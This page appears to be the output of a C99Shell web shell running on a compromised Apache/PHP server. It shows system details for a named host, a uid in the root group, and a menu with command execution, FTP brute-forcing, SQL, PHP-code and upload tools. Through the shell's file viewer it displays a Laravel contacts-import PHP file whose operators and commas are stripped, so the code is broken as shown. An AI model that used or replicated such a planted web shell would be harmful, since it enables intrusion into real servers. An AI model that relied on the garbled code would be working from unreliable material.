!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.sms.picotech.app/public_html/app/Imports/   drwxr-xr-x
Free 26.59 GB of 117.98 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ContactsImport.php (7.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Imports;

use 
App\Models\Contact;
use 
App\Models\ContactGroup;
use 
App\Models\Group;
use 
App\Models\Label;
use 
Illuminate\Contracts\Queue\ShouldQueue;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Str;
use 
Maatwebsite\Excel\Concerns\Importable;
use 
Maatwebsite\Excel\Concerns\SkipsErrors;
use 
Maatwebsite\Excel\Concerns\SkipsOnError;
use 
Maatwebsite\Excel\Concerns\ToCollection;
use 
Maatwebsite\Excel\Concerns\WithChunkReading;
use 
Maatwebsite\Excel\Concerns\WithEvents;
use 
Maatwebsite\Excel\Concerns\WithHeadingRow;
use 
Maatwebsite\Excel\Events\AfterImport;
use 
Maatwebsite\Excel\Events\BeforeImport;
use 
Maatwebsite\Excel\Events\ImportFailed;

class 
ContactsImport implements ToCollectionWithHeadingRowSkipsOnErrorWithChunkReadingShouldQueueWithEvents
{
    use 
SkipsErrorsImportable;

    public 
$group_id '';
    public 
$this_group_contacts;
    public 
$custom_request_data;

    public function 
__construct($group_id$auth_user,$this_group_contacts=null,$customRequestData=null)
    {
        
$this->auth_user $auth_user;
        
$this->group_id $group_id;
        
$this->this_group_contacts $this_group_contacts;
        
$this->custom_request_data $customRequestData;
    }


    
/**
     * @param Collection $rows
     * @throws \Throwable
     */
    
public function collection(Collection $rows)
    {

        
$errorMsg "";
        
DB::beginTransaction();
        
$label$this->auth_user->labels()->where('title''new')->first();
        if (!
$label) {
            
$label = new Label();
            
$label->title 'new';
            
$label->status 'active';
            
$label->customer_id $this->auth_user->id;
            
$label->color 'red';
            
$label->save();
        }

        
$current_plan $this->auth_user->plan;
        
$pre_contacts=$this->auth_user->contacts()->count();

        
$available_limit=$current_plan->max_contact $pre_contacts;
        
$custom_request_data=$this->custom_request_data;

        
$this_group_contacts=$this->this_group_contacts;
        
$this_group_contacts=collect($this_group_contacts);


        
$i 0;
        
$contactGroup = [];
        
$data = [];

        
$unique_random_number=Str::random(16);

        foreach (
$rows as $key => $row) {
            if(
$current_plan->unlimited_contact=='no' && $available_limit =='0') {
                
Log::info('Contact Limit Extend');
                throw new 
\Exception('Contact Limit Extend');
            }else {

                if (isset(
$row['number']) && isset($row['country_code']) && $row['number'] && $row['country_code']) {

                    
$cCode="+".str_replace('+','',$row[isset($custom_request_data['country_code'])?$custom_request_data['country_code']:'country_code'] ?? '');
                    
$rowNumberOnly=$row[isset($custom_request_data['number'])?$custom_request_data['number']:'number'];


                    if(isset(
$custom_request_data['add_default_country_code']) && $custom_request_data['add_default_country_code']=='on') {
                        
$fullNumber "+1" str_replace('+1'''$rowNumberOnly);
                    }else {
                        
$fullNumber "+" str_replace('+'''$cCode.$row[isset($custom_request_data['number'])?$custom_request_data['number']:'number']);
                    }

                    
$data[$i]['contact_dial_code'] = $cCode ?? '';
                    
$data[$i]['number'] = str_replace('+','',getPhoneNumberWithoutDialCode($fullNumber));
                    
$data[$i]['first_name'] = $row[isset($custom_request_data['first_name'])?$custom_request_data['first_name']:'first_name'];
                    
$data[$i]['last_name'] = $row[isset($custom_request_data['last_name'])?$custom_request_data['last_name']:'last_name'];
                    
$data[$i]['email'] = $row[isset($custom_request_data['email'])?$custom_request_data['email']:'email'];
                    
$data[$i]['company'] = $row[isset($custom_request_data['company'])?$custom_request_data['company']:'company'];
                    
$data[$i]['address'] = $row[isset($custom_request_data['address'])?$custom_request_data['address']:'address'];
                    
$data[$i]['city'] = $row[isset($custom_request_data['city'])?$custom_request_data['city']:'city'] ?? '';
                    
$data[$i]['state'] = $row[isset($custom_request_data['state'])?$custom_request_data['state']:'state'];
                    
$data[$i]['zip_code'] = $row[isset($custom_request_data['zip_code'])?$custom_request_data['zip_code']:'zip_code'];
                    
$data[$i]['note'] = $row[isset($custom_request_data['note'])?$custom_request_data['note']:'note'];
                    
$data[$i]['label_id'] = $label $label->id '';
                    
$data[$i]['customer_id'] = $this->auth_user->id;
                    
$data[$i]['unique_random_number'] = $unique_random_number;
                    
$i++;

                    
//TODO::Checking previous inserted number
//                    if(!$this_group_contacts->contains($fullNumber)) {
//                        $contact = $this->auth_user->contacts()->create($data);
//                        $contactGroup[] = [
//                            'customer_id' => $this->auth_user->id,
//                            'group_id' => $this->group_id,
//                            'contact_id' => $contact->id,
//                            'created_at' => now(),
//                            'updated_at' => now()
//                        ];
//
//                        if (!$contact) {
//                            $errorMsg = "Error while inserting";
//                            break;
//                        }
//                        $i++;
//                    }
                
}
            }

        }

        if(
$data){
            foreach (
array_chunk($data1000) as $contactChunk) {
                
Contact::insert($contactChunk);
            }
        }

        
$contactIds=Contact::where('unique_random_number',$unique_random_number)->pluck('id');
        foreach (
$contactIds as $contact_id) {
            
$contactGroup[]=[
                
'customer_id'=>$this->auth_user->id,
                
'contact_id'=>$contact_id,
                
'group_id'=>$this->group_id,
                
'created_at'=>now(),
            ];
        }

        foreach (
array_chunk($contactGroup1000) as $contactGroupChunk) {
            
ContactGroup::insert($contactGroupChunk);
        }



        if (!empty(
$errorMsg)) {
            
// Rollback in case there is error
            
DB::rollBack();

        } else {
            
// Commit to database
            
DB::commit();
        }
    }

    public function 
chunkSize(): int
    
{
        return 
2000;
    }

    public function 
registerEvents(): array
    {
        return [
            
ImportFailed::class => function (ImportFailed $event) {
                
Group::where('id'$this->group_id)->update(['import_status' => 'failed''import_fail_message' => substr($event->getException(), 0191)]);
            },
            
BeforeImport::class => function (BeforeImport $event) {
                
Group::where('id'$this->group_id)->update(['import_status' => 'running']);
            },
            
AfterImport::class => function (AfterImport $event) {
                
Group::where('id'$this->group_id)->update(['import_status' => 'completed']);
            }
        ];
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--